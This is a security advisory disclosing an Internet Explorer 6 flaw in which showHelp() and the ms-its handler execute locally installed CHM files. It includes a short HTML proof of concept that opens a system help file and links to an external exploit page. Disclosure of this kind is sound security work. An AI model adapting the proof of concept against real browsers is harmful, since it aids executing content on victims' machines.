Showhelp() local CHM file execution
advisory#3
/--------------------------------------------------------------------/
Vendor: Microsoft Corp.
product: IE.6
test machine: winxp.pro.ed ,ie6 (FP)
Discovery by: Roozbeh Afrasiabi
(roozbeh_afrasiabi(At)yahoo(dot)com)
Risk: Low
Title: Showhelp() local CHM file execution
/--------------------------------------------------------------------/
TABLE OF CONTENTS:
==================
Description..............................................1
PoC......................................................2
Exploit..................................................3
Contact info.............................................4
Disclaimer...............................................5
1)Description:
==================
While previous patches were to stop showhelp from executing CHM files
using their path, a weakness in the way the double "\" is handled by
the its protocol handler allows for the execution of locally installed
CHM files.when "\\" is placed before the name of target CHM file the
HELP folder is searched for such name , if the help folder dose not
contain a file with that name then the rootdrive would be the next
path to be searched,when a file with that name is found in either of
these paths it would be executed .
2)POC
=========
<html>
<head>
<title>POC</title>
<p><br><b>HTM help file opened in an iframe</b><br><br>
<iframe id="target" width="700" height="400" src="ms-its:" name="target"
scrolling="yes">
</iframe>
<!----SCRIPT LANGUAGE=javascript>
function getlink(){
showHelp("ms-its:\\ntshared.chm::/copyright.htm");
target.location="ms-its:\\ntshared.chm::/copyright.htm";
}
<!-----/script>
</head>
<body onload=getlink()>
</body>
</html>
3)Exploit
===========
http://www.freewebs.com/roozbeh_afrasiabi/xploit/index.htm
4)Contact Info
==================
roozbeh_afrasiabi(at)yahoo(dot)com
da_stone_cold_killer(at)yahoo(dot)com
me@persia-fars-shiraz
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5)Disclaimer
==================
Roozbeh Afrasiabi is not responsible for the misuse of the information
provided in this report. In no event shall the author be liable for any
damages whatsoever arising out of or in connection with the use or spread of
this advisory. Any use of the information is at the user's own risk.
All Rights Reserved